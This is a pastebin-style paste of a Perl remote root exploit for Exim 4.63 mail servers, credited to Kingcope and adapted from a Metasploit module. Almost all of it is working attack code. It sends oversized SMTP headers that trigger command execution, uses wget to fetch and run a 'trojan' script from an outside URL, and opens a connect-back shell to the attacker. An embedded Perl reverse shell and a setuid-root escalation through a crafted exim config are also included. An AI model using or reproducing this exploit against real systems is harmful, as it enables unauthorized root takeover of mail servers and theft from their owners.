SHOW:
|
|
- or go back to the newest paste.
| 1 | #Exim 4.63 (RedHat/Centos/Debian) Remote Root Exploit by Kingcope | |
| 2 | #Modified perl version of metasploit module | |
| 3 | ||
| 4 | =for comment | |
| 5 | ||
| 6 | use this connect back shell as "trojanurl" and be sure to setup a netcat, | |
| 7 | ||
| 8 | ---snip--- | |
| 9 | ||
| 10 | $system = '/bin/sh'; | |
| 11 | $ARGC=@ARGV; | |
| 12 | if ($ARGC!=2) {
| |
| 13 | print "Usage: $0 [Host] [Port] \n\n"; | |
| 14 | die "Ex: $0 127.0.0.1 2121 \n"; | |
| 15 | } | |
| 16 | use Socket; | |
| 17 | use FileHandle; | |
| 18 | socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or die print "[-] Unable to Resolve Host\n";
| |
| 19 | connect(SOCKET, sockaddr_in($ARGV[1], inet_aton($ARGV[0]))) or die print "[-] Unable to Connect Host\n"; | |
| 20 | SOCKET->autoflush(); | |
| 21 | open(STDIN, ">&SOCKET"); | |
| 22 | open(STDOUT,">&SOCKET"); | |
| 23 | open(STDERR,">&SOCKET"); | |
| 24 | ||
| 25 | open FILE, ">/var/spool/exim4/s.c"; | |
| 26 | print FILE qq{
| |
| 27 | #include <stdio.h> | |
| 28 | #include <unistd.h> | |
| 29 | int main(int argc, char *argv[]) | |
| 30 | {
| |
| 31 | setuid(0); | |
| 32 | setgid(0); | |
| 33 | setgroups(0, NULL); | |
| 34 | execl("/bin/sh", "sh", NULL);
| |
| 35 | } | |
| 36 | }; | |
| 37 | close FILE; | |
| 38 | ||
| 39 | system("gcc /var/spool/exim4/s.c -o /var/spool/exim4/s; rm /var/spool/exim4/s.c");
| |
| 40 | open FILE, ">/tmp/e.conf"; | |
| 41 | print FILE "spool_directory = \${run{/bin/chown root:root /var/spool/exim4/s}}\${run{/bin/chmod 4755 /var/spool/exim4/s}}";
| |
| 42 | close FILE; | |
| 43 | ||
| 44 | system("exim -C/tmp/e.conf -q; rm /tmp/e.conf");
| |
| 45 | system("uname -a;");
| |
| 46 | system("/var/spool/exim4/s");
| |
| 47 | system($system); | |
| 48 | ||
| 49 | ---snip--- | |
| 50 | ||
| 51 | =cut | |
| 52 | ||
| 53 | use IO::Socket; | |
| 54 | ||
| 55 | if ($#ARGV ne 3) {
| |
| 56 | print "./eximxpl <host/ip> <trojanurl> <yourip> <yourport>\n"; | |
| 57 | print "example: ./eximxpl utoronto.edu http://www.h4x.net/shell.txt 3.1.33.7 443\n"; | |
| 58 | exit; | |
| 59 | } | |
| 60 | ||
| 61 | $|=1; | |
| 62 | ||
| 63 | $trojan = $ARGV[1]; | |
| 64 | $myip = $ARGV[2]; | |
| 65 | $myport = $ARGV[3]; | |
| 66 | $helohost = "abcde.com"; | |
| 67 | ||
| 68 | $max_msg = 52428800; | |
| 69 | ||
| 70 | my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0], | |
| 71 | PeerPort => "25", | |
| 72 | Proto => 'tcp'); | |
| 73 | ||
| 74 | while(<$sock>) {
| |
| 75 | print; | |
| 76 | if ($_ =~ /220 /) { last;}
| |
| 77 | } | |
| 78 | ||
| 79 | print $sock "EHLO $helohost\r\n"; | |
| 80 | while(<$sock>) {
| |
| 81 | print; | |
| 82 | if ($_ =~ /250-SIZE (\d+)/) {
| |
| 83 | $max_msg = $1; | |
| 84 | print "Set size to $max_msg !\n"; | |
| 85 | } | |
| 86 | if ($_ =~ /^250.*Hello ([^\s]+) \[([^\]]+)\]/) {
| |
| 87 | $revdns = $1; | |
| 88 | $saddr = $2; | |
| 89 | } | |
| 90 | if ($_ =~ /250 /) { last;}
| |
| 91 | } | |
| 92 | ||
| 93 | if ($revdns eq $helohost) {
| |
| 94 | $vv = ""; | |
| 95 | } else {
| |
| 96 | $vv = $revdns. " "; | |
| 97 | } | |
| 98 | ||
| 99 | $vv .= "(" . $helohost . ")";
| |
| 100 | ||
| 101 | $from = "root\@local.com"; | |
| 102 | $to = "postmaster\@localhost"; | |
| 103 | ||
| 104 | $msg_len = $max_msg + 1024*256; | |
| 105 | $logbuffer_size = 8192; | |
| 106 | ||
| 107 | $logbuffer = "YYYY-MM-DD HH:MM:SS XXXXXX-YYYYYY-ZZ rejected from <$from> H=$vv [$saddr]: message too big: read=$msg_len max=$max_msg\n"; | |
| 108 | $logbuffer .= "Envelope-from: <$from>\nEnvelope-to: <$to>\n"; | |
| 109 | ||
| 110 | $filler = "V" x (8 * 16); | |
| 111 | $logbuffer_size -= 3; | |
| 112 | ||
| 113 | for ($k=0;$k<60;$k++) {
| |
| 114 | if (length($logbuffer) >= $logbuffer_size) {last;}
| |
| 115 | $hdr = sprintf("Header%04d: %s\n", $k, $filler);
| |
| 116 | $newlen = length($logbuffer) + length($hdr); | |
| 117 | if ($newlen > $logbuffer_size) {
| |
| 118 | $newlen -= $logbuffer_size; | |
| 119 | $off = length($hdr) - $newlen - 2 - 1; | |
| 120 | $hdr = substr($hdr, 0, $off); | |
| 121 | $hdr .= "\n"; | |
| 122 | } | |
| 123 | $hdrs .= $hdr; | |
| 124 | $logbuffer .= " " . $hdr; | |
| 125 | } | |
| 126 | ||
| 127 | $hdrx = "HeaderX: "; | |
| 128 | $k2 = 3; | |
| 129 | for ($k=1;$k<=200;$k++) {
| |
| 130 | if ($k2 > 12) {
| |
| 131 | $k2 = 3; | |
| 132 | } | |
| 133 | # $hdrx .= "\${run{/bin/sh -c 'exec /bin/sh -i <&$k2 >&0 2>&0'}} ";
| |
| 134 | $hdrx .= "\${run{/bin/sh -c \"exec /bin/sh -c 'wget $trojan -O /tmp/c.pl;perl /tmp/c.pl $myip $myport; sleep 10000000'\"}} ";
| |
| 135 | $k2++; | |
| 136 | } | |
| 137 | ||
| 138 | $v = "A" x 255 . "\n"; | |
| 139 | $body = ""; | |
| 140 | while (length($body) < $msg_len) {
| |
| 141 | $body .= $v; | |
| 142 | } | |
| 143 | ||
| 144 | $body = substr($body, 0, $msg_len); | |
| 145 | ||
| 146 | print $sock "MAIL FROM: <$from>\r\n"; | |
| 147 | $v = <$sock>; | |
| 148 | print $v; | |
| 149 | print $sock "RCPT TO: <$to>\r\n"; | |
| 150 | $v = <$sock>; | |
| 151 | print $v; | |
| 152 | print $sock "DATA\r\n"; | |
| 153 | $v = <$sock>; | |
| 154 | print $v; | |
| 155 | ||
| 156 | print "Sending large buffer, please wait...\n"; | |
| 157 | ||
| 158 | print $sock $hdrs; | |
| 159 | print $sock $hdrx . "\n"; | |
| 160 | print $sock $body; | |
| 161 | print $sock "\r\n.\r\n"; | |
| 162 | $v = <$sock>; | |
| 163 | print $v; | |
| 164 | print $sock "MAIL FROM: <$from>\r\n"; | |
| 165 | $v = <$sock>; | |
| 166 | print $v; | |
| 167 | print $sock "RCPT TO: <$to>\r\n"; | |
| 168 | ||
| 169 | while(1){}; |